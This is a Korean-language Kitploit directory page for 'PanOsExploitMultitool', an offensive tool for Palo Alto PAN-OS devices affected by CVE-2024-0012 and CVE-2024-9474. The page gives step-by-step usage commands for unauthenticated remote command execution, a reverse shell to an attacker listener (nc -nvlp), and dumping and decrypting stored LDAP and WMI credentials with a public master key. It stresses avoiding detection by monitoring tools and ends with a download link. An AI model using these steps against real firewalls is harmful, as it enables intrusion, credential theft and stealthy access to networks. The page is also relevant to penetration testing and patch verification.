Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PanOsExploitMultitool — 익스플로잇 및 포스트-익스플로잇 멀티툴로, CVE-2024-0012 및 CVE-2024-9474 취약점의 영향을 받는 Palo Alto PAN-OS 시스템 대상 | Kitploit
도구/GitHubGitHub/regent8sh/panosexploitmultitool
Encryption/Decryption ToolsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubregent8sh/panosexploitmultitool

PanOsExploitMultitool

익스플로잇 및 포스트-익스플로잇 멀티툴로, CVE-2024-0012 및 CVE-2024-9474 취약점의 영향을 받는 Palo Alto PAN-OS 시스템 대상

저장소 보기
612개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PanOsExploitMultitool

CVE-2024-0012 및 CVE-2024-9474 취약점에 영향을 받는 Palo Alto PAN-OS 시스템을 위한 익스플로잇 및 포스트 익스플로잇 멀티툴

CVE-2024-0012와 CVE-2024-9474의 원격 코드 실행 취약점을 초기에 익스플로잇하는 과정에서 셸을 획득하고 여러 패스워드 필드에 이상한 문자열이 포함된 설정 파일들을 식별하기 시작했습니다. 이것들이 분명히 일반적인 해시 형식이 아니었기 때문에, 제 팀과 저는 이 문제를 조사하기 시작했고 곧 ThreatLabs 웹사이트에서 PAN-OS 자격 증명이 기본적으로 공개적으로 알려진 마스터 키를 사용하여 암호화된다는(되었던?) 보안 권고를 발견했습니다. 이 마스터 키는 장치 설정에서 변경할 수 있지만, 제가 이 취약점들을 접한 모든 사례에서 기본 마스터 키가 사용되고 있음을 발견했습니다. 이 도구를 설계함으로써, 제 목표는 이러한 취약점을 쉽게 익스플로잇하고, 포스트 익스플로잇 및 자격 증명 수집을 수행하며, 네트워크 및 트래픽 모니터링 솔루션에 의해 탐지될 수 있는 지속적인 연결 없이도 암호화된 HTTPS 트래픽을 통해 전적으로 평문 자격 증명을 검색할 수 있는 간편한 방법을 구축하는 것입니다.

현재 LDAP 및 WMI 자격 증명을 자동으로 검색하고 복호화하는 것을 지원하지만, 비표준 XML 필드 이름으로 설정 파일 내에 비밀 문자열이 암호화되어 있는 드문 사례를 보았습니다. 이러한 특이 사례의 원인을 파악하여 완전한 지원을 보장하기 위해 현재 작업 중입니다. 아직 개발 중임을 양해해 주십시오.

설치

사용하기 전에 다음과 같은 명령어를 사용하여 필요한 모든 종속성이 설치되어 있는지 확인하십시오:

root@kitploit:~
pip3 install -r requirements.txt

확인

"check" 명령어를 사용하면 원격 대상이 CVE-2024-0012에 취약한지 확인할 수 있습니다. IP 주소로 원격 호스트를 대상으로 할 때는 반드시 --no-verify 인수를 사용하십시오. 예시:

root@kitploit:~
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

image

명령

"command" 명령어를 사용하면 원격 대상에서 CVE-2024-0012 및 CVE-2024-9474를 익스플로잇하여 수동으로 제공된 명령을 실행하고, 웹 인터페이스를 통해 결과 명령 출력을 검색할 수 있습니다. dump 및 shell 명령어와 유사하게, 제공된 명령은 CVE-2024-9474의 명령 삽입 취약점에 맞게 충분히 작은 섹션으로 분할되고, 쓰기 가능한 디렉토리(기본값 /var/tmp/)에 임시 셸 파일로 기록된 다음 대상에서 실행됩니다. 출력은 /var/appweb/htdocs{remote_dir} 아래의 임시 PHP 파일에 기록되고, HTTPS를 통해 검색되며, 콘솔에 출력되고, --no-cleanup 인수가 제공되지 않는 한 자동으로 정리됩니다. 필요한 경우 --no-verify를 잊지 마십시오.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
image

무음 명령

선택적 --silentcommand 플래그는 위와 동일한 청킹 및 삽입 방법을 사용하여 제공된 명령을 실행하지만, 출력을 웹 접근 가능한 파일로 리디렉션하지 않거나 검색 요청을 수행하지 않습니다. 이는 출력이 필요하지 않은 파이어 앤 포겟 작업이나 대상에 생성되는 웹 요청 및 파일 수를 최소화하는 것이 우선시되는 경우에 유용합니다. 출력 파일이 웹 경로에 기록되지 않기 때문에 정리는 쓰기 가능한 디렉토리에서 임시 페이로드 청크 파일만 제거합니다 — 정리할 .php 출력 파일이 없습니다.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand

쉘

"shell" 명령어를 사용하면 원격 대상에서 CVE-2024-0012 및 CVE-2024-9474를 익스플로잇하여 원격 호스트에서 리버스 셸을 수신할 수 있습니다. 기본적으로 이 명령어는 표준 bash 리버스 셸 페이로드를 생성하고, base64로 인코딩한 다음, base64 인코딩된 blob을 CVE-2024-9474의 명령 삽입 취약점에 맞게 충분히 작은 섹션으로 분할하고, 쓰기 가능한 디렉토리(기본값 /var/tmp/)의 파일에 각 청크를 에코하는 명령을 실행합니다. 이러한 청크가 완전히 저장되면 단일 셸 파일로 통합된 다음 호스트에서 실행되며, 이는 별도의 netcat 리스너(nc -nvlp {PORT})에 다시 연결되어야 합니다. 지속적인 리버스 셸 연결로 인한 타임아웃이 파일 정리를 방해하므로, 도구 실행 시작 시 출력된 무작위 파일 이름을 기록해 두고 {writable_dir} 및 /var/appweb/htdocs{remote_dir} 위치에서 직접 정리해야 합니다. 다음 버전에서 이 문제를 수정할 예정이지만 아직 처리하지 못했습니다. 필요한 경우 --no-verify를 잊지 마십시오.

root@kitploit:~
nc -nvlp {PORT}

python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

image image

덤프

이것이 이 프로젝트의 주요 목표였으며, 이 도구를 구축하려는 주된 이유입니다. 대부분의 분석 자료와 도구들이 원격 코드 실행과 관련되어 있기 때문에, 그 이후의 유용한 포스트 익스플로잇 단계를 상세히 설명하는 사례를 많이 찾지 못했습니다. dump 명령어를 사용하면 자격 증명을 원격으로 검색하고 복호화할 수 있을 뿐만 아니라, 지속적인 연결 없이 소수의 암호화된(HTTPS) 웹 요청을 통해서만 모두 수행할 수 있습니다. PAN-OS 어플라이언스에는 EDR/MDR/IDR/XDR/?DR 솔루션이 설치될 가능성이 현저히 낮기 때문에, 이는 레드 팀 작업에서 특히 효과적입니다.

dump 명령어는 shell 명령어와 유사한 청킹 및 실행 방식을 따르지만, 리버스 셸을 시작하는 대신 장치의 설정 파일(/opt/pancfg/mgmt/saved-configs/에 위치)에서 암호화된 자격 증명을 검색한 다음 공개적으로 알려진 마스터 키를 사용하여 식별된 패스워드를 자동으로 복호화합니다. dump 명령어는 --no-cleanup 인수를 포함하지 않는 한 복호화가 끝나면 생성된 모든 파일을 정리합니다. 항상 그렇듯이 필요한 경우 --no-verify를 잊지 마십시오.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
image

또한, 선택적 --full-running-config 인수를 추가했습니다. 이 인수를 사용하면 현재 실행 중인 설정 파일의 전체 XML 내용을 검색하여 로컬 파일로 저장할 수 있습니다. 저장된 파일은 running-config.{TARGET}.{TIMESTAMP}.xml 형식(예: running-config.192.168.1.1.20260516_143022.xml)으로 이름이 지정되며, 타임스탬프는 검색 시점을 반영합니다. 이렇게 하면 동일한 장치를 여러 번 대상으로 할 때 이전 설정 덤프가 덮어쓰여지지 않습니다. 이전/다른 설정 파일에 고유한 암호화된 자격 증명이 포함된 여러 사례를 보았으므로 이 점을 넘어서 확인하는 것을 권장하지만, 이는 자동으로 감지되어 복호화되지 않았을 수 있는 추가 자격 증명을 확인하는 좋은 방법이 될 수 있습니다. 또한 아래에 자세히 설명된 Local 명령어를 사용하여 로컬 XML 설정 파일을 로컬에서 처리할 수 있습니다.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
image

로컬

local 명령어는 매우 기본적이며, 주 사용 사례는 전체 XML 설정 파일(예: dump 명령어의 --full-running-config 인수를 사용하여 검색한 경우)을 검색했거나, PAN-OS 장치에서 셸을 획득하여 XML 설정 파일의 내용을 장치에서 복사하거나 출력한 경우입니다. 이 명령어는 제공된 로컬 파일에서 동일한 로직과 자동 자격 증명 복호화를 수행합니다. LDAP 및 WMI 자격 증명을 포함한 모든 암호화된 자격 증명 유형을 모든 XML 태그 이름에서 지원합니다.

root@kitploit:~
python3 PanOsExploitMultitool.py local -f {FILE}

image

복호화

마지막으로, decrypt 명령어를 사용하면 공개 마스터 키를 사용하여 원시 문자열을 복호화할 수 있습니다. 이는 과거 설정 파일에서 암호화된 자격 증명 문자열이 식별되었지만 바로 앞에 사용자 이름이 없는 경우, 또는 다른 방법으로 추출된 자격 증명 문자열을 수동으로 확인하려는 경우와 같은 특수한 시나리오에서 유용합니다. 이러한 문자열은 터미널에 직접 입력할 수 있으며, 전체 -AQ..........== 형식 또는 마지막 base64 인코딩된 blob만 허용됩니다.

root@kitploit:~
python3 PanOsExploitMultitool.py decrypt

image

참고 자료

이 프로젝트의 연구 및 개발에 사용된 아래의 분석 자료, 모듈 및 권고를 참조하십시오.

"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb

"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/

도구 다운로드